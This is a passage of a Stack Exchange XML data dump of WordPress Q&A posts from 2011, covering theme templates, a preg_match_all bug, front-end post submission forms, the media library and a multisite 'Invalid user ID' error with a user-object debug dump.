CommentCount="2" />
  <row Id="10542" PostTypeId="2" ParentId="9314" CreationDate="2011-02-26T16:40:40.697" Score="0" ViewCount="" Body="&lt;p&gt;Another simple answer is to write a &quot;coming soon&quot; page or whatever you want, and then name that file home.php.  Drop this file into your theme and WordPress will automatically make this your home page.  Your Wordpress pages are still accessible to anyone who knows the right URLs.  When you're done setting up, just delete this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, this only works if you HAVEN'T set a static home page under Settings -&gt; Reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also &quot;hide&quot; the site from search engines under Settings -&gt; Privacy.  WP reminds you that search engines are blocked, so just unblock after you're through constructing the site.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-26T16:40:40.697" />
  <row Id="10543" PostTypeId="2" ParentId="10537" CreationDate="2011-02-26T16:43:26.567" Score="0" ViewCount="" Body="&lt;p&gt;There's an issue with the &lt;code&gt;preg_match_all&lt;/code&gt; line. Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_match_all(&quot;/Template Name:(.*)\n/siU&quot;,$template_contents,$template_name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you can use &lt;code&gt;if (!is_admin()) { .... }&lt;/code&gt; to run things on the frontend only.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-26T16:43:26.567" CommentCount="5" />
  <row Id="10544" PostTypeId="1" AcceptedAnswerId="10551" CreationDate="2011-02-26T17:01:40.380" Score="1" ViewCount="489" Body="&lt;p&gt;I am now developing a wordpress site that will be something like a directory. People will be able to submit walkthroughs, advanced reviews, as well as cheat codes for games. We were going to make a different form for each page, but now we've decided that one form with a drop down will be just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be a good plug in out there, that I can find, which accommodates the fact that each submission needs to be pushed through as a &quot;pending post&quot; but also to a certain post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the form that we'll use will be set up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Game name: &amp;lt;post title&amp;gt;&#xA;Platform:  &amp;lt;Taxonomy&amp;gt;&#xA;Category:  &amp;lt;Category&amp;gt; (role playing, FPS, adventure, etc..)&#xA;This is a: () Review () Tutorial () Cheat list  &amp;lt;this is the post type&amp;gt;&#xA;Content: &amp;lt;post body&amp;gt;&#xA;Tags: &amp;lt;tags&amp;gt;&#xA;[Submit]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon submission, I need for the review, cheat, or tutorial to be set as a pending post, in the post type chosen from the radio boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using WP User Front End, but I could probably use any post from front-end form that is suggested for easiest modification. Adding the new fields to the form is easy, making them do stuff is hard! I'd appreciate any help I can get with this, our website sort of revolves around these feature. &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-26T18:09:14.040" Title="Post from front-end with post types, categories and taxonomies" Tags="&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;forms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="10545" PostTypeId="2" ParentId="10538" CreationDate="2011-02-26T17:26:02.117" Score="1" ViewCount="" Body="&lt;p&gt;I also wrote this lately: &lt;a href=&quot;http://wp.leau.co/2010/12/24/moving-a-weblog-to-a-wp3-multisite-weblog-system-on-mediatemple/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2010/12/24/moving-a-weblog-to-a-wp3-multisite-weblog-system-on-mediatemple/&lt;/a&gt; with a note for specific mediatemple take-care-things.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-26T17:26:02.117" CommentCount="1" />
  <row Id="10546" PostTypeId="1" AcceptedAnswerId="10555" CreationDate="2011-02-26T17:29:01.580" Score="0" ViewCount="97" Body="&lt;p&gt;My wordpress theme creates thumbnails of media files that I upload into my posts.  These thumbnails are not accessible inside the media gallery, they exist only in the media upload directory.  I want to access these thumbnail files in my media gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I import files in my upload directory into media gallery?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastEditorUserId="3536" LastEditorDisplayName="" LastEditDate="2011-02-26T18:32:39.643" LastActivityDate="2011-02-26T18:46:37.593" Title="How to bring files from the upload directory to the media gallery?" Tags="&lt;post-thumbnails&gt;&lt;media&gt;&lt;media-library&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10547" PostTypeId="2" ParentId="10537" CreationDate="2011-02-26T17:37:14.550" Score="0" ViewCount="" Body="&lt;p&gt;WP, while generating templates list, is looking even into &lt;code&gt;functions.php&lt;/code&gt; as a potential template file, finds there &lt;code&gt;&quot;/Template Name:(.*)\n/siU&quot;&lt;/code&gt; and thus treats the &lt;code&gt;functions.php&lt;/code&gt; as theme file with name: &lt;code&gt;(.*)\n)siU&quot;,$template_contents,$template_name);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Temporary solution: move this function into some subdirectory and include this file from &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that it's WP bug - it shouldn't treat &lt;code&gt;functions.php&lt;/code&gt; as template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: it has a patch in WP trac, coming in 3.2 &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16689&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16689&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1244" LastEditorUserId="1244" LastEditorDisplayName="" LastEditDate="2011-02-28T17:34:24.077" LastActivityDate="2011-02-28T17:34:24.077" />
  <row Id="10549" PostTypeId="2" ParentId="10537" CreationDate="2011-02-26T17:51:28.133" Score="0" ViewCount="" Body="&lt;p&gt;The template name is stored in the postmeta table, so all you need to do is put this somewhere in your loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$template = get_post_meta( $post-&amp;gt;ID, '_wp_page_template', true );&#xA;echo &quot;Template: &quot; . $template;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-26T17:51:28.133" CommentCount="2" />
  <row Id="10550" PostTypeId="1" CreationDate="2011-02-26T17:52:09.817" Score="0" ViewCount="59" Body="&lt;p&gt;Every time the super user tries to update the profile of any other user, I Get a message Invalid User ID.  I need to fix this, I don't know where to start. I already checked the database wp_users table (all looks good there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/z6KRl.gif&quot; alt=&quot;Invalid User ID screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cl.ly/4oW3&quot; rel=&quot;nofollow&quot;&gt;Screenshot of my wp_users table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The output of the dump_user() function below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(15) &quot;IS_PROFILE_PAGE&quot;&#xA;NULL&#xA;object(WP_User)#270 (59) { [&quot;data&quot;]=&amp;gt; object(stdClass)#206 (52) { [&quot;ID&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;user_login&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_pass&quot;]=&amp;gt; string(34) &quot;$P$&quot; [&quot;user_nicename&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_email&quot;]=&amp;gt; string(19) &quot;geo@kiragiannis.com&quot; [&quot;user_url&quot;]=&amp;gt; string(26) &quot;http://www.kiragiannis.com&quot; [&quot;user_registered&quot;]=&amp;gt; string(19) &quot;2011-02-10 16:44:39&quot; [&quot;user_activation_key&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;user_status&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;display_name&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;spam&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;deleted&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;first_name&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;last_name&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;nickname&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;description&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;rich_editing&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;comment_shortcuts&quot;]=&amp;gt; string(5) &quot;false&quot; [&quot;admin_color&quot;]=&amp;gt; string(7) &quot;classic&quot; [&quot;use_ssl&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;aim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;yim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;jabber&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;wp_capabilities&quot;]=&amp;gt; array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;wp_dashboard_quick_press_last_post_id&quot;]=&amp;gt; string(3) &quot;287&quot; [&quot;wp_usersettings&quot;]=&amp;gt; string(148) &quot;m5=c&amp;amp;m9=c&amp;amp;m8=c&amp;amp;m0=c&amp;amp;m10=o&amp;amp;m1=c&amp;amp;m6=c&amp;amp;editor=tinymce&amp;amp;m7=c&amp;amp;m12=c&amp;amp;m11=o&amp;amp;hidetb=1&amp;amp;m16=c&amp;amp;m15=c&amp;amp;imgsize=thumbnail&amp;amp;m14=o&amp;amp;m2=o&amp;amp;m13=o&amp;amp;m17=o&amp;amp;m3=c&amp;amp;m4=c&amp;amp;wplink=0&quot; [&quot;wp_usersettingstime&quot;]=&amp;gt; string(10) &quot;1298758411&quot; [&quot;source_domain&quot;]=&amp;gt; string(19) &quot;www.kiragiannis.com&quot; [&quot;primary_blog&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;wp_2_capabilities&quot;]=&amp;gt; array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_2_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;closedpostboxes_feedback&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_feedback&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;closedpostboxes_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;metaboxhidden_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;managenavmenuscolumnshidden&quot;]=&amp;gt; array(4) { [0]=&amp;gt; string(11) &quot;link-target&quot; [1]=&amp;gt; string(11) &quot;css-classes&quot; [2]=&amp;gt; string(3) &quot;xfn&quot; [3]=&amp;gt; string(11) &quot;description&quot; } [&quot;metaboxhidden_navmenus&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(8) &quot;add-post&quot; [1]=&amp;gt; string(11) &quot;add-infobox&quot; [2]=&amp;gt; string(12) &quot;add-post_tag&quot; } [&quot;plugins_last_view&quot;]=&amp;gt; string(3) &quot;all&quot; [&quot;closedpostboxes_dashboard&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_dashboard&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(17) &quot;dashboard_plugins&quot; [1]=&amp;gt; string(19) &quot;dashboard_secondary&quot; [2]=&amp;gt; string(15) &quot;yoast_db_widget&quot; } [&quot;metaboxorder_dashboard&quot;]=&amp;gt; array(4) { [&quot;normal&quot;]=&amp;gt; string(63) &quot;dashboard_right_now,dashboard_recent_comments,dashboard_plugins&quot; [&quot;side&quot;]=&amp;gt; string(137) &quot;dashboard_quick_press,dashboard_recent_drafts,dashboard_primary,dashboard_incoming_links,wp125_widget,dashboard_secondary,yoast_db_widget&quot; [&quot;column3&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;column4&quot;]=&amp;gt; string(0) &quot;&quot; } [&quot;screen_layout_dashboard&quot;]=&amp;gt; string(1) &quot;2&quot; [&quot;nav_menu_recently_edited&quot;]=&amp;gt; string(3) &quot;121&quot; [&quot;closedpostboxes_post&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_post&quot;]=&amp;gt; array(7) { [0]=&amp;gt; string(11) &quot;postexcerpt&quot; [1]=&amp;gt; string(13) &quot;trackbacksdiv&quot; [2]=&amp;gt; string(10) &quot;postcustom&quot; [3]=&amp;gt; string(16) &quot;commentstatusdiv&quot; [4]=&amp;gt; string(7) &quot;slugdiv&quot; [5]=&amp;gt; string(9) &quot;authordiv&quot; [6]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;show_admin_bar_front&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;show_admin_bar_admin&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;user_firstname&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;user_lastname&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;user_description&quot;]=&amp;gt; string(0) &quot;&quot; } [&quot;ID&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;id&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;caps&quot;]=&amp;gt; &amp;amp;array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;cap_key&quot;]=&amp;gt; string(15) &quot;wp_capabilities&quot; [&quot;roles&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(13) &quot;administrator&quot; } [&quot;allcaps&quot;]=&amp;gt; array(63) { [&quot;switch_themes&quot;]=&amp;gt; bool(true) [&quot;edit_themes&quot;]=&amp;gt; bool(true) [&quot;activate_plugins&quot;]=&amp;gt; bool(true) [&quot;edit_plugins&quot;]=&amp;gt; bool(true) [&quot;edit_users&quot;]=&amp;gt; bool(true) [&quot;edit_files&quot;]=&amp;gt; bool(true) [&quot;manage_options&quot;]=&amp;gt; bool(true) [&quot;moderate_comments&quot;]=&amp;gt; bool(true) [&quot;manage_categories&quot;]=&amp;gt; bool(true) [&quot;manage_links&quot;]=&amp;gt; bool(true) [&quot;upload_files&quot;]=&amp;gt; bool(true) [&quot;import&quot;]=&amp;gt; bool(true) [&quot;unfiltered_html&quot;]=&amp;gt; bool(true) [&quot;edit_posts&quot;]=&amp;gt; bool(true) [&quot;edit_others_posts&quot;]=&amp;gt; bool(true) [&quot;edit_published_posts&quot;]=&amp;gt; bool(true) [&quot;publish_posts&quot;]=&amp;gt; bool(true) [&quot;edit_pages&quot;]=&amp;gt; bool(true) [&quot;read&quot;]=&amp;gt; bool(true) [&quot;level_10&quot;]=&amp;gt; bool(true) [&quot;level_9&quot;]=&amp;gt; bool(true) [&quot;level_8&quot;]=&amp;gt; bool(true) [&quot;level_7&quot;]=&amp;gt; bool(true) [&quot;level_6&quot;]=&amp;gt; bool(true) [&quot;level_5&quot;]=&amp;gt; bool(true) [&quot;level_4&quot;]=&amp;gt; bool(true) [&quot;level_3&quot;]=&amp;gt; bool(true) [&quot;level_2&quot;]=&amp;gt; bool(true) [&quot;level_1&quot;]=&amp;gt; bool(true) [&quot;level_0&quot;]=&amp;gt; bool(true) [&quot;edit_others_pages&quot;]=&amp;gt; bool(true) [&quot;edit_published_pages&quot;]=&amp;gt; bool(true) [&quot;publish_pages&quot;]=&amp;gt; bool(true) [&quot;delete_pages&quot;]=&amp;gt; bool(true) [&quot;delete_others_pages&quot;]=&amp;gt; bool(true) [&quot;delete_published_pages&quot;]=&amp;gt; bool(true) [&quot;delete_posts&quot;]=&amp;gt; bool(true) [&quot;delete_others_posts&quot;]=&amp;gt; bool(true) [&quot;delete_published_posts&quot;]=&amp;gt; bool(true) [&quot;delete_private_posts&quot;]=&amp;gt; bool(true) [&quot;edit_private_posts&quot;]=&amp;gt; bool(true) [&quot;read_private_posts&quot;]=&amp;gt; bool(true) [&quot;delete_private_pages&quot;]=&amp;gt; bool(true) [&quot;edit_private_pages&quot;]=&amp;gt; bool(true) [&quot;read_private_pages&quot;]=&amp;gt; bool(true) [&quot;delete_users&quot;]=&amp;gt; bool(true) [&quot;create_users&quot;]=&amp;gt; bool(true) [&quot;unfiltered_upload&quot;]=&amp;gt; bool(true) [&quot;edit_dashboard&quot;]=&amp;gt; bool(true) [&quot;update_plugins&quot;]=&amp;gt; bool(true) [&quot;delete_plugins&quot;]=&amp;gt; bool(true) [&quot;install_plugins&quot;]=&amp;gt; bool(true) [&quot;update_themes&quot;]=&amp;gt; bool(true) [&quot;install_themes&quot;]=&amp;gt; bool(true) [&quot;update_core&quot;]=&amp;gt; bool(true) [&quot;list_users&quot;]=&amp;gt; bool(true) [&quot;remove_users&quot;]=&amp;gt; bool(true) [&quot;add_users&quot;]=&amp;gt; bool(true) [&quot;promote_users&quot;]=&amp;gt; bool(true) [&quot;edit_theme_options&quot;]=&amp;gt; bool(true) [&quot;delete_themes&quot;]=&amp;gt; bool(true) [&quot;export&quot;]=&amp;gt; bool(true) [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;first_name&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;last_name&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;filter&quot;]=&amp;gt; NULL [&quot;user_login&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_pass&quot;]=&amp;gt; string(34) &quot;$P$&quot; [&quot;user_nicename&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_email&quot;]=&amp;gt; string(19) &quot;geo@kiragiannis.com&quot; [&quot;user_url&quot;]=&amp;gt; string(26) &quot;http://www.kiragiannis.com&quot; [&quot;user_registered&quot;]=&amp;gt; string(19) &quot;2011-02-10 16:44:39&quot; [&quot;user_activation_key&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;user_status&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;display_name&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;spam&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;deleted&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;nickname&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;description&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;rich_editing&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;comment_shortcuts&quot;]=&amp;gt; string(5) &quot;false&quot; [&quot;admin_color&quot;]=&amp;gt; string(7) &quot;classic&quot; [&quot;use_ssl&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;aim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;yim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;jabber&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;wp_capabilities&quot;]=&amp;gt; &amp;amp;array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;wp_dashboard_quick_press_last_post_id&quot;]=&amp;gt; string(3) &quot;287&quot; [&quot;wp_usersettings&quot;]=&amp;gt; string(148) &quot;m5=c&amp;amp;m9=c&amp;amp;m8=c&amp;amp;m0=c&amp;amp;m10=o&amp;amp;m1=c&amp;amp;m6=c&amp;amp;editor=tinymce&amp;amp;m7=c&amp;amp;m12=c&amp;amp;m11=o&amp;amp;hidetb=1&amp;amp;m16=c&amp;amp;m15=c&amp;amp;imgsize=thumbnail&amp;amp;m14=o&amp;amp;m2=o&amp;amp;m13=o&amp;amp;m17=o&amp;amp;m3=c&amp;amp;m4=c&amp;amp;wplink=0&quot; [&quot;wp_usersettingstime&quot;]=&amp;gt; string(10) &quot;1298758411&quot; [&quot;source_domain&quot;]=&amp;gt; string(19) &quot;www.kiragiannis.com&quot; [&quot;primary_blog&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;wp_2_capabilities&quot;]=&amp;gt; array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_2_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;closedpostboxes_feedback&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_feedback&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;closedpostboxes_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;metaboxhidden_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;managenavmenuscolumnshidden&quot;]=&amp;gt; array(4) { [0]=&amp;gt; string(11) &quot;link-target&quot; [1]=&amp;gt; string(11) &quot;css-classes&quot; [2]=&amp;gt; string(3) &quot;xfn&quot; [3]=&amp;gt; string(11) &quot;description&quot; } [&quot;metaboxhidden_navmenus&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(8) &quot;add-post&quot; [1]=&amp;gt; string(11) &quot;add-infobox&quot; [2]=&amp;gt; string(12) &quot;add-post_tag&quot; } [&quot;plugins_last_view&quot;]=&amp;gt; string(3) &quot;all&quot; [&quot;closedpostboxes_dashboard&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_dashboard&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(17) &quot;dashboard_plugins&quot; [1]=&amp;gt; string(19) &quot;dashboard_secondary&quot; [2]=&amp;gt; string(15) &quot;yoast_db_widget&quot; } [&quot;metaboxorder_dashboard&quot;]=&amp;gt; array(4) { [&quot;normal&quot;]=&amp;gt; string(63) &quot;dashboard_right_now,dashboard_recent_comments,dashboard_plugins&quot; [&quot;side&quot;]=&amp;gt; string(137) &quot;dashboard_quick_press,dashboard_recent_drafts,dashboard_primary,dashboard_incoming_links,wp125_widget,dashboard_secondary,yoast_db_widget&quot; [&quot;column3&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;column4&quot;]=&amp;gt; string(0) &quot;&quot; } [&quot;screen_layout_dashboard&quot;]=&amp;gt; string(1) &quot;2&quot; [&quot;nav_menu_recently_edited&quot;]=&amp;gt; string(3) &quot;121&quot; [&quot;closedpostboxes_post&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_post&quot;]=&amp;gt; array(7) { [0]=&amp;gt; string(11) &quot;postexcerpt&quot; [1]=&amp;gt; string(13) &quot;trackbacksdiv&quot; [2]=&amp;gt; string(10) &quot;postcustom&quot; [3]=&amp;gt; string(16) &quot;commentstatusdiv&quot; [4]=&amp;gt; string(7) &quot;slugdiv&quot; [5]=&amp;gt; string(9) &quot;authordiv&quot; [6]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;show_admin_bar_front&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;show_admin_bar_admin&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;user_firstname&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;user_lastname&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;user_description&quot;]=&amp;gt; string(0) &quot;&quot; }&#xA;&#xA;object(stdClass)#206 (52) { [&quot;ID&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;user_login&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_pass&quot;]=&amp;gt; string(34) &quot;$P$&quot; [&quot;user_nicename&quot;]=&amp;gt; string(4) &quot;user&quot; [&quot;user_email&quot;]=&amp;gt; string(19) &quot;geo@kiragiannis.com&quot; [&quot;user_url&quot;]=&amp;gt; string(26) &quot;http://www.kiragiannis.com&quot; [&quot;user_registered&quot;]=&amp;gt; string(19) &quot;2011-02-10 16:44:39&quot; [&quot;user_activation_key&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;user_status&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;display_name&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;spam&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;deleted&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;first_name&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;last_name&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;nickname&quot;]=&amp;gt; string(9) &quot;The Admin&quot; [&quot;description&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;rich_editing&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;comment_shortcuts&quot;]=&amp;gt; string(5) &quot;false&quot; [&quot;admin_color&quot;]=&amp;gt; string(7) &quot;classic&quot; [&quot;use_ssl&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;aim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;yim&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;jabber&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;wp_capabilities&quot;]=&amp;gt; array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;wp_dashboard_quick_press_last_post_id&quot;]=&amp;gt; string(3) &quot;287&quot; [&quot;wp_usersettings&quot;]=&amp;gt; string(148) &quot;m5=c&amp;amp;m9=c&amp;amp;m8=c&amp;amp;m0=c&amp;amp;m10=o&amp;amp;m1=c&amp;amp;m6=c&amp;amp;editor=tinymce&amp;amp;m7=c&amp;amp;m12=c&amp;amp;m11=o&amp;amp;hidetb=1&amp;amp;m16=c&amp;amp;m15=c&amp;amp;imgsize=thumbnail&amp;amp;m14=o&amp;amp;m2=o&amp;amp;m13=o&amp;amp;m17=o&amp;amp;m3=c&amp;amp;m4=c&amp;amp;wplink=0&quot; [&quot;wp_usersettingstime&quot;]=&amp;gt; string(10) &quot;1298758411&quot; [&quot;source_domain&quot;]=&amp;gt; string(19) &quot;www.kiragiannis.com&quot; [&quot;primary_blog&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;wp_2_capabilities&quot;]=&amp;gt; array(1) { [&quot;administrator&quot;]=&amp;gt; string(1) &quot;1&quot; } [&quot;wp_2_user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;closedpostboxes_feedback&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_feedback&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;closedpostboxes_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;metaboxhidden_page&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(7) &quot;slugdiv&quot; } [&quot;managenavmenuscolumnshidden&quot;]=&amp;gt; array(4) { [0]=&amp;gt; string(11) &quot;link-target&quot; [1]=&amp;gt; string(11) &quot;css-classes&quot; [2]=&amp;gt; string(3) &quot;xfn&quot; [3]=&amp;gt; string(11) &quot;description&quot; } [&quot;metaboxhidden_navmenus&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(8) &quot;add-post&quot; [1]=&amp;gt; string(11) &quot;add-infobox&quot; [2]=&amp;gt; string(12) &quot;add-post_tag&quot; } [&quot;plugins_last_view&quot;]=&amp;gt; string(3) &quot;all&quot; [&quot;closedpostboxes_dashboard&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_dashboard&quot;]=&amp;gt; array(3) { [0]=&amp;gt; string(17) &quot;dashboard_plugins&quot; [1]=&amp;gt; string(19) &quot;dashboard_secondary&quot; [2]=&amp;gt; string(15) &quot;yoast_db_widget&quot; } [&quot;metaboxorder_dashboard&quot;]=&amp;gt; array(4) { [&quot;normal&quot;]=&amp;gt; string(63) &quot;dashboard_right_now,dashboard_recent_comments,dashboard_plugins&quot; [&quot;side&quot;]=&amp;gt; string(137) &quot;dashboard_quick_press,dashboard_recent_drafts,dashboard_primary,dashboard_incoming_links,wp125_widget,dashboard_secondary,yoast_db_widget&quot; [&quot;column3&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;column4&quot;]=&amp;gt; string(0) &quot;&quot; } [&quot;screen_layout_dashboard&quot;]=&amp;gt; string(1) &quot;2&quot; [&quot;nav_menu_recently_edited&quot;]=&amp;gt; string(3) &quot;121&quot; [&quot;closedpostboxes_post&quot;]=&amp;gt; array(0) { } [&quot;metaboxhidden_post&quot;]=&amp;gt; array(7) { [0]=&amp;gt; string(11) &quot;postexcerpt&quot; [1]=&amp;gt; string(13) &quot;trackbacksdiv&quot; [2]=&amp;gt; string(10) &quot;postcustom&quot; [3]=&amp;gt; string(16) &quot;commentstatusdiv&quot; [4]=&amp;gt; string(7) &quot;slugdiv&quot; [5]=&amp;gt; string(9) &quot;authordiv&quot; [6]=&amp;gt; string(12) &quot;revisionsdiv&quot; } [&quot;show_admin_bar_front&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;show_admin_bar_admin&quot;]=&amp;gt; string(4) &quot;true&quot; [&quot;user_level&quot;]=&amp;gt; string(2) &quot;10&quot; [&quot;user_firstname&quot;]=&amp;gt; string(11) &quot;Kiragiannis&quot; [&quot;user_lastname&quot;]=&amp;gt; string(5) &quot;Admin&quot; [&quot;user_description&quot;]=&amp;gt; string(0) &quot;&quot; }&#xA;&#xA;Invalid user ID.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update to this case 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I could not figure out the reaons for this issue.  I re-built the wordpress network in a different server.  Now I don't have the issue any longer.  I don't know if this will be possible to close or answer at this point.  